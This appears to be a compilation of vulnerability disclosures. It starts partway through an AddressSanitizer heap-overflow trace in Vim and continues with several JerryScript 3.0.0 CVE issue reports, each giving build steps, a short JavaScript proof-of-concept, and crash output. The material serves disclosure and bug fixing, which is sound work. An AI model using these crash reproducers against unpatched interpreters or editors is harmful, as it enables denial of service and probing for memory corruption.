        #2 0x561238d26031 in u_save_line /home/faraday/vim/src/undo.c:373
        #3 0x561238d4665c in u_saveline /home/faraday/vim/src/undo.c:3477
        #4 0x561238d25615 in u_save /home/faraday/vim/src/undo.c:257
        #5 0x561238d254a4 in u_save_cursor /home/faraday/vim/src/undo.c:237
        #6 0x5612388b83c5 in op_addsub /home/faraday/vim/src/ops.c:2386
        #7 0x561238858e66 in nv_addsub /home/faraday/vim/src/normal.c:2302
        #8 0x56123884f61f in normal_cmd /home/faraday/vim/src/normal.c:1120
        #9 0x5612385ac525 in exec_normal /home/faraday/vim/src/ex_docmd.c:8638
        #10 0x5612385ac2e4 in exec_normal_cmd /home/faraday/vim/src/ex_docmd.c:8601
        #11 0x5612385ab802 in ex_normal /home/faraday/vim/src/ex_docmd.c:8519
        #12 0x56123856dd85 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2573
        #13 0x56123856170e in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
        #14 0x561238addf98 in do_source /home/faraday/vim/src/scriptfile.c:1512
        #15 0x561238adaf75 in cmd_source /home/faraday/vim/src/scriptfile.c:1098
        #16 0x561238adb132 in ex_source /home/faraday/vim/src/scriptfile.c:1124
        #17 0x56123856dd85 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2573
        #18 0x56123856170e in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
        #19 0x56123855f288 in do_cmdline_cmd /home/faraday/vim/src/ex_docmd.c:587
        #20 0x56123905a82d in exe_commands /home/faraday/vim/src/main.c:3091
        #21 0x56123904c323 in vim_main2 /home/faraday/vim/src/main.c:774
        #22 0x56123904b809 in main /home/faraday/vim/src/main.c:426
        #23 0x7f4e0ed440b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
        #24 0x5612382d7cbd in _start (/home/faraday/vim/src/vim+0x1259cbd)
    
    0x621000016500 is located 0 bytes to the right of 4096-byte region [0x621000015500,0x621000016500)
    allocated by thread T0 here:
        #0 0x7f4e10802bc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
        #1 0x5612382d817e in lalloc /home/faraday/vim/src/alloc.c:248
        #2 0x5612382d7f29 in alloc /home/faraday/vim/src/alloc.c:151
        #3 0x561239062c5c in mf_alloc_bhdr /home/faraday/vim/src/memfile.c:884
        #4 0x56123905f03c in mf_new /home/faraday/vim/src/memfile.c:376
        #5 0x5612387bbbda in ml_new_data /home/faraday/vim/src/memline.c:4077
        #6 0x561238798cc5 in ml_open /home/faraday/vim/src/memline.c:394
        #7 0x561238304457 in open_buffer /home/faraday/vim/src/buffer.c:185
        #8 0x561239059185 in create_windows /home/faraday/vim/src/main.c:2861
        #9 0x56123904c02e in vim_main2 /home/faraday/vim/src/main.c:705
        #10 0x56123904b809 in main /home/faraday/vim/src/main.c:426
        #11 0x7f4e0ed440b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow (/lib/x86_64-linux-gnu/libasan.so.5+0xa0f3f) in __interceptor_memmove
    Shadow bytes around the buggy address:
      0x0c427fffac50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffac60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffac70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffac80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffac90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c427fffaca0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffacb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffacc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffacd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427ffface0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffacf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==67807==ABORTING
    

**Impact**

This vulnerability is capable disclosing data and might lead to bypass protection mechanisms facilitating successful exploitation of other memory corruption vulnerabilities that may lead to code execution.

**Acknowledgements**

This bug was found by Octavio Gianatiempo (ogianatiempo@faradaysec.com) and Octavio Galland (ogalland@faradaysec.com) from Faraday Research Team.

Jerryscript 3.0.0 was discovered to contain a SEGV vulnerability via ecma_ref_object_inline in /jerry-core/ecma/base/ecma-gc.c.

**JerryScript revision**

Commit: 51da1551 Version: v3.0.0

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

./tools/build.py --clean --debug --profile=es2015-subset --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20

**Test case**

function echo(str) {
  console.log(str);
}

function T(p, r, u) {
  return Object.assign(p, {
    then(onFulfilled, onRejected) {
      if (u) {
        onFulfilled(r);
      } else {
        onFulfilled();
      }

      return Promise.prototype.then.call(this, onFulfilled, onRejected);
    }
  });
}

function JSEtest(i) {
  var ps \= \[T(Promise.resolve('success'))\];
  Promise.all(ps).then(res \=> {
    echo(\`Test #${i} - Success with '${res}' (length = ${res.length}) (isArray = ${Array.isArray(res)})\`);
  }).catch(err \=> {
    echo(\`Test #${i} - Catch with ${err}\`);
  });
}

JSEtest(1);

​

**Execution steps & Output**

$ ./jerryscript/build/bin/jerry poc.js

ASAN:DEADLYSIGNAL
=================================================================
==95503==ERROR: AddressSanitizer: SEGV on unknown address 0x41b58ab0 (pc 0x566075cf bp 0x1ff7c4b0 sp 0xffbe2500 T0)
==95503==The signal is caused by a READ memory access.
    #0 0x566075ce in ecma\_ref\_object\_inline /root/jerryscript/jerry-core/ecma/base/ecma-gc.c:136
    #1 0x56639c0c in ecma\_copy\_value /root/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c:913
    #2 0x56639c0c in ecma\_fast\_copy\_value /root/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c:940
    #3 0x566cdd0b in ecma\_op\_object\_find\_own /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:647
    #4 0x566d2ea0 in ecma\_op\_object\_find\_own /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:494
    #5 0x566d2ea0 in ecma\_op\_object\_get\_with\_receiver /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:879
    #6 0x567ef0cf in ecma\_op\_array\_get\_to\_string\_at\_index /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:273
    #7 0x567ef0cf in ecma\_builtin\_array\_prototype\_join /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:322
    #8 0x567ef0cf in ecma\_builtin\_array\_prototype\_dispatch\_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:2940
    #9 0x566731f1 in ecma\_builtin\_dispatch\_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1543
    #10 0x566731f1 in ecma\_builtin\_dispatch\_call /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1574
    #11 0x566b48b4 in ecma\_op\_function\_call\_native\_built\_in /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1243
    #12 0x566bae4d in ecma\_op\_function\_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1444
    #13 0x5668d365 in ecma\_array\_object\_to\_string /root/jerryscript/jerry-core/ecma/operations/ecma-array-object.c:1228
    #14 0x5681e945 in ecma\_builtin\_intrinsic\_dispatch\_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-intrinsic.c:201
    #15 0x566731f1 in ecma\_builtin\_dispatch\_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1543
    #16 0x566731f1 in ecma\_builtin\_dispatch\_call /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1574
    #17 0x566b48b4 in ecma\_op\_function\_call\_native\_built\_in /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1243
    #18 0x566bae4d in ecma\_op\_function\_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1444
    #19 0x566c9572 in ecma\_op\_general\_object\_ordinary\_value /root/jerryscript/jerry-core/ecma/operations/ecma-objects-general.c:319
    #20 0x566c976b in ecma\_op\_general\_object\_default\_value /root/jerryscript/jerry-core/ecma/operations/ecma-objects-general.c:284
    #21 0x566d6875 in ecma\_op\_object\_default\_value /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:1780
    #22 0x566a905a in ecma\_op\_to\_string /root/jerryscript/jerry-core/ecma/operations/ecma-conversion.c:456
    #23 0x567b3433 in vm\_loop /root/jerryscript/jerry-core/vm/vm.c:2820
    #24 0x567e21da in vm\_execute /root/jerryscript/jerry-core/vm/vm.c:5260
    #25 0x567e7e7c in vm\_run /root/jerryscript/jerry-core/vm/vm.c:5363
    #26 0x566b4101 in ecma\_op\_function\_call\_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1203
    #27 0x566bae25 in ecma\_op\_function\_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1439
    #28 0x566c495e in ecma\_process\_promise\_reaction\_job /root/jerryscript/jerry-core/ecma/operations/ecma-jobqueue.c:221
    #29 0x566c495e in ecma\_process\_all\_enqueued\_jobs /root/jerryscript/jerry-core/ecma/operations/ecma-jobqueue.c:563
    #30 0x565d4dbc in jerry\_run\_jobs /root/jerryscript/jerry-core/api/jerryscript.c:1064
    #31 0x565c004b in main /root/jerryscript/jerry-main/main-jerry.c:326
    #32 0xf76f1f20 in \_\_libc\_start\_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)
    #33 0x565c9359  (/root/jerryscript/build/bin/jerry+0x3b359)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/jerryscript/jerry-core/ecma/base/ecma-gc.c:136 in ecma\_ref\_object\_inline
==95503==ABORTING

Credits: Found by OWL337 team.

CVE-2022-22891: SEGV in ecma_ref_object_inline of ecma-gc.c · Issue #4871 · jerryscript-project/jerryscript

Jerryscript 3.0.0 was discovered to contain a stack overflow via vm_loop.lto_priv.304 in /jerry-core/vm/vm.c.

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**Stack-overflow in vm\_loop.lto\_priv.304 of vm.c #4901**

Closed

hope-fly opened this issue

Dec 13, 2021

· 0 comments · Fixed by #4945

Assignees

![@mnegyokru](https://avatars.githubusercontent.com/u/69792667?s=40&v=4)

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**JerryScript revision**

Commit: 42523bd6

Version: v3.0.0

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

python  ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-g --strip=off --system-allocator=on --logging=on --linker-flag=-fuse-ld=gold --error-messages=on --line-info=on --stack-limit=10

**Test case**

function JSEtest() {
  new JSEtest();
}

try {
  JSEtest();
} catch (e) {
  print(e);
}

​

**Execution steps & Output**

$ ./jerryscript/build/bin/jerry poc.js

ASAN:DEADLYSIGNAL
=================================================================
==78723==ERROR: AddressSanitizer: stack-overflow on address 0xff0d8f90 (pc 0x566a456c bp 0xff0d95d8 sp 0xff0d8f90 T0)
    #0 0x566a456b in vm\_loop.lto\_priv.304 /root/jerryscript/jerry-core/vm/vm.c:975
    #1 0x56929645 in vm\_execute /root/jerryscript/jerry-core/vm/vm.c:5260
    #2 0x5692e592 in vm\_run /root/jerryscript/jerry-core/vm/vm.c:5363
    #3 0x5674524e in ecma\_op\_function\_call\_simple.lto\_priv.397 /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1203
    #4 0x567e8c9c in ecma\_op\_function\_construct\_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1533
    #5 0x567e8c9c in ecma\_op\_function\_construct /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1769
    #6 0x5692995a in opfunc\_construct.isra.2 /root/jerryscript/jerry-core/vm/vm.c:844
    #7 0x5692995a in vm\_execute /root/jerryscript/jerry-core/vm/vm.c:5287
    #......
    
    #......
    #368 0x5692e592 in vm\_run /root/jerryscript/jerry-core/vm/vm.c:5363
    #369 0x5674524e in ecma\_op\_function\_call\_simple.lto\_priv.397 /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1203
    #370 0x567e8c9c in ecma\_op\_function\_construct\_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1533
    #371 0x567e8c9c in ecma\_op\_function\_construct /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1769
    #372 0x5692995a in opfunc\_construct.isra.2 /root/jerryscript/jerry-core/vm/vm.c:844
    #373 0x5692995a in vm\_execute /root/jerryscript/jerry-core/vm/vm.c:5287

SUMMARY: AddressSanitizer: stack-overflow /root/jerryscript/jerry-core/vm/vm.c:975 in vm\_loop.lto\_priv.304
==78723==ABORTING

Credits: Found by OWL337 team.

mnegyokru added a commit to mnegyokru/jerryscript that referenced this issue

Dec 22, 2021

![@mnegyokru](https://avatars.githubusercontent.com/u/69792667?s=60&v=4)

mnegyokru added a commit to mnegyokru/jerryscript that referenced this issue

Dec 22, 2021

![@mnegyokru](https://avatars.githubusercontent.com/u/69792667?s=60&v=4)

mnegyokru added a commit to mnegyokru/jerryscript that referenced this issue

Jan 4, 2022

![@mnegyokru](https://avatars.githubusercontent.com/u/69792667?s=60&v=4)

… objects

This patch fixes jerryscript-project#4901

JerryScript-DCO-1.0-Signed-off-by: Martin Negyokru negyokru@inf.u-szeged.hu

mnegyokru added a commit to mnegyokru/jerryscript that referenced this issue

Jan 4, 2022

![@mnegyokru](https://avatars.githubusercontent.com/u/69792667?s=60&v=4)

… objects

This patch fixes jerryscript-project#4901

JerryScript-DCO-1.0-Signed-off-by: Martin Negyokru negyokru@inf.u-szeged.hu

dbatyai pushed a commit that referenced this issue

Jan 10, 2022

![@mnegyokru](https://avatars.githubusercontent.com/u/69792667?s=60&v=4)

… objects (#4945)

This patch fixes #4901

JerryScript-DCO-1.0-Signed-off-by: Martin Negyokru negyokru@inf.u-szeged.hu

CVE-2022-22893: Stack-overflow in vm_loop.lto_priv.304 of vm.c · Issue #4901 · jerryscript-project/jerryscript

Jerryscript 3.0.0 was discovered to contain a stack overflow via ecma_lcache_lookup in /jerry-core/ecma/base/ecma-lcache.c.

**JerryScript revision**

Commit: 51da1551

Version: v3.0.0

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --profile=es2015-subset --stack-limit=20

**Test case**

let array \= new Array(1);
array.splice(1, 0, array);
array.flat(Infinity);

​

**Execution steps & Output**

$ ./jerryscript/build/bin/jerry poc.js

ASAN:DEADLYSIGNAL
=================================================================
==26613==ERROR: AddressSanitizer: stack-overflow on address 0xff535ffc (pc 0x5661347c bp 0xff536090 sp 0xff536000 T0)
    #0 0x5661347b in ecma\_lcache\_lookup /root/jerryscript/jerry-core/ecma/base/ecma-lcache.c:144
    #1 0x569cde1f  (/root/jerryscript/build/bin/jerry+0x477e1f)

SUMMARY: AddressSanitizer: stack-overflow /root/jerryscript/jerry-core/ecma/base/ecma-lcache.c:144 in ecma\_lcache\_lookup
==26613==ABORTING

Credits: Found by OWL337 team.

CVE-2022-22894: Stack-overflow in ecma_lcache_lookup (ecma-lcache.c) · Issue #4890 · jerryscript-project/jerryscript

Jerryscript 3.0.0 was discovered to contain a stack overflow via ecma_op_object_find_own in /ecma/operations/ecma-objects.c.

**JerryScript revision**

4592143

**Build platform**

Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86\_64)  
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --profile=es2015-subset --stack-limit=20

**Test case**

var once \= false;
var m \= 1;

function JSEtest(){
  if(!once){
    m \= new Array(1, 2, 3);
    this\[2\] \= m;
  }
  once \= true;
  return this\[2\] \= m;
}

JSON.parse("\[1, 2, \[4, 5\]\]", JSEtest);

**Execution steps & Output**

$ ./jerryscript/build/bin/jerry poc1.js

ASAN:DEADLYSIGNAL
=================================================================
==5376==ERROR: AddressSanitizer: stack-overflow on address 0xff3e5ff0 (pc 0x56722cec bp 0x00000000 sp 0xff3e5ff0 T0)
    #0 0x56722ceb in ecma\_op\_object\_find\_own /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:490
    #1 0x56a4ae1f  (/root/jerryscript/build/bin/jerry+0x46fe1f)

SUMMARY: AddressSanitizer: stack-overflow /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:490 in ecma\_op\_object\_find\_own
==5376==ABORTING

Credits: Found by OWL337 team.

Tag

#ubuntu